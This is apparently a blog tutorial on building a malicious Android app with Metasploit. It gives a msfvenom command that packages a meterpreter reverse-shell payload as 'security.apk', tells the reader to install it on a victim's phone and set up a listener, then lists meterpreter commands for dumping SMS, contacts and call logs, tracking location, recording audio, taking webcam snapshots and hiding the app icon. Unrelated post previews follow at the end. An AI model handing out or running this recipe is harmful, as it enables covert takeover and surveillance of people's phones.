Milicious App For hacking phones using metasploit!!

-

Creating a milicious payload for mobile hacking using metasploit


    Required:

  •  Min 4GB Ram Laptop/Computer
  •  Kali Linux 


1.Use cmd on linux:

msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.29.209 lport=1234 R>security.apk

here,lhost is a attacker IP, lport is a listening port of a attacker.

Note:The Attack is performing on a home network.



We created the apk successfully..


2. Download and Install the app on victim phone. (Security.apk) that we have created.

3.In kali linux for listening use cmd:

        Follow some cmd in sequence:

  • msfconsole
  • use multi/handler
  • set payload android/meterpreter/reverse_tcp
  • set lhost 192.168.29.209
  • set lport 1234
  • exploit
   

msfconsole setup



exploit started followed above steps.




Great!!Connection established.


Some Command that can be performed under msfconsole:

   Command                   Description
    -------                   -----------
    ?                         Help menu
    background                Backgrounds the current session
    bg                        Alias for background
    bgkill                    Kills a background meterpreter script
    bglist                    Lists running background scripts
    bgrun                     Executes a meterpreter script as a background thread
    channel                   Displays information or control active channels
    close                     Closes a channel
    detach                    Detach the meterpreter session (for http/https)
    disable_unicode_encoding  Disables encoding of unicode strings
    enable_unicode_encoding   Enables encoding of unicode strings
    exit                      Terminate the meterpreter session
    get_timeouts              Get the current session timeout values
    guid                      Get the session GUID
    help                      Help menu
    info                      Displays information about a Post module
    irb                       Open an interactive Ruby shell on the current session
    load                      Load one or more meterpreter extensions
    machine_id                Get the MSF ID of the machine attached to the session
    pry                       Open the Pry debugger on the current session
    quit                      Terminate the meterpreter session
    read                      Reads data from a channel
    resource                  Run the commands stored in a file
    run                       Executes a meterpreter script or Post module
    secure                    (Re)Negotiate TLV packet encryption on the session
    sessions                  Quickly switch to another session
    set_timeouts              Set the current session timeout values
    sleep                     Force Meterpreter to go quiet, then re-establish session
    transport                 Manage the transport mechanisms
    use                       Deprecated alias for "load"
    uuid                      Get the UUID for the current session
    write                     Writes data to a channel


Stdapi: File system Commands
============================

    Command       Description
    -------       -----------
    cat           Read the contents of a file to the screen
    cd            Change directory
    checksum      Retrieve the checksum of a file
    cp            Copy source to destination
    del           Delete the specified file
    dir           List files (alias for ls)
    download      Download a file or directory
    edit          Edit a file
    getlwd        Print local working directory
    getwd         Print working directory
    lcat          Read the contents of a local file to the screen
    lcd           Change local working directory
    lls           List local files
    lpwd          Print local working directory
    ls            List files
    mkdir         Make directory
    mv            Move source to destination
    pwd           Print working directory
    rm            Delete the specified file
    rmdir         Remove directory
    search        Search for files
    upload        Upload a file or directory


Stdapi: Networking Commands
===========================

    Command       Description
    -------       -----------
    ifconfig      Display interfaces
    ipconfig      Display interfaces
    portfwd       Forward a local port to a remote service
    route         View and modify the routing table


Stdapi: System Commands
=======================

    Command       Description
    -------       -----------
    execute       Execute a command
    getenv        Get one or more environment variable values
    getpid        Get the current process identifier
    getuid        Get the user that the server is running as
    localtime     Displays the target system local date and time
    pgrep         Filter processes by name
    ps            List running processes
    shell         Drop into a system command shell
    sysinfo       Gets information about the remote system, such as OS


Stdapi: User interface Commands
===============================

    Command       Description
    -------       -----------
    screenshare   Watch the remote user desktop in real time
    screenshot    Grab a screenshot of the interactive desktop


Stdapi: Webcam Commands
=======================

    Command        Description
    -------        -----------
    record_mic     Record audio from the default microphone for X seconds
    webcam_chat    Start a video chat
    webcam_list    List webcams
    webcam_snap    Take a snapshot from the specified webcam
    webcam_stream  Play a video stream from the specified webcam


Stdapi: Audio Output Commands
=============================

    Command       Description
    -------       -----------
    play          play a waveform audio file (.wav) on the target system


Android Commands
================

    Command           Description
    -------           -----------
    activity_start    Start an Android activity from a Uri string
    check_root        Check if device is rooted
    dump_calllog      Get call log
    dump_contacts     Get contacts list
    dump_sms          Get sms messages
    geolocate         Get current lat-long using geolocation
    hide_app_icon     Hide the app icon from the launcher
    interval_collect  Manage interval collection capabilities
    send_sms          Sends SMS from target session
    set_audio_mode    Set Ringer Mode
    sqlite_query      Query a SQLite database from storage
    wakelock          Enable/Disable Wakelock
    wlan_geolocate    Get current lat-long using WLAN information


Application Controller Commands
===============================

    Command        Description
    -------        -----------
    app_install    Request to install apk file
    app_list       List installed apps in the device
    app_run        Start Main Activty for package name
    app_uninstall  Request to uninstall application


ThankYou!Keep Learning.. 🔥






Comments

Post a Comment

Popular posts from this blog

4 digit OTP Generator!!

-
Image
 Randomly Generating OTP using Java.. Code:- import java.lang.Math; class otp{ public static void main(String[] args){ System.out.println((int)(Math.random()*10000)); } } Output:- ThankYou!Keep Learning..🔥
Read more

Novak Djokovic's 21-match Davis Cup win streak comes to end

-
  MALAGA, Spain --   Novak Djokovic   had three chances to finish off Italy and put Serbia into the Davis Cup final. But  Jannik Sinner  led Italy back from the brink of defeat, saving three consecutive match points before ending Djokovic's streak of 21 straight wins in Davis Cup singles matches to level the semifinal match at 1-1 on Saturday. Sinner then outdid the top-ranked Djokovic again in doubles to seal Italy's 2-1 comeback win and put it in the final for the first time since 1998. Djokovic had hoped to cap a superb season, when he increased his Gram Slam haul to a record 24 titles after winning three more majors, by taking Serbia to its first Davis Cup final in a decade. "For (me) personally it's a huge disappointment, because I take the responsibility, obviously having three match balls, being so close to winning it," Djokovic said. "When you lose for your country, the bitter feeling is even greater." Miomir Kecmanovic  beat  Lorenzo Musetti ...
Read more

US-Canada bridge expected to reopen in day or two, says mayor Jim Diodati

-
Image
  The Federal Bureau of Investigation ended its probe after finding no evidence that it was a terror attack. The Canadian mayor of Niagara Falls, Jim Diodati, said the Rainbow Bridge is expected to reopen in a day or two, after a car explosion that killed two people shuttered the busy crossing between the US and Canada. “The damage as we understand it is superficial as far as the bridge is concerned,” Diodati said Thursday in an interview, adding that US authorities will make the decision on when to reopen the bridge. One of the booths on the bridge is damaged, but there are other booths available for travelers to drive through, he said, citing discussions with police officials. The Federal Bureau of Investigation ended its probe after finding no evidence that it was a terror attack, the Associated Press reported Thursday, citing a statement from the bureau’s Buffalo office. It added that a search of the scene revealed no explosive materials. About 1.5 million passenger vehicles cr...
Read more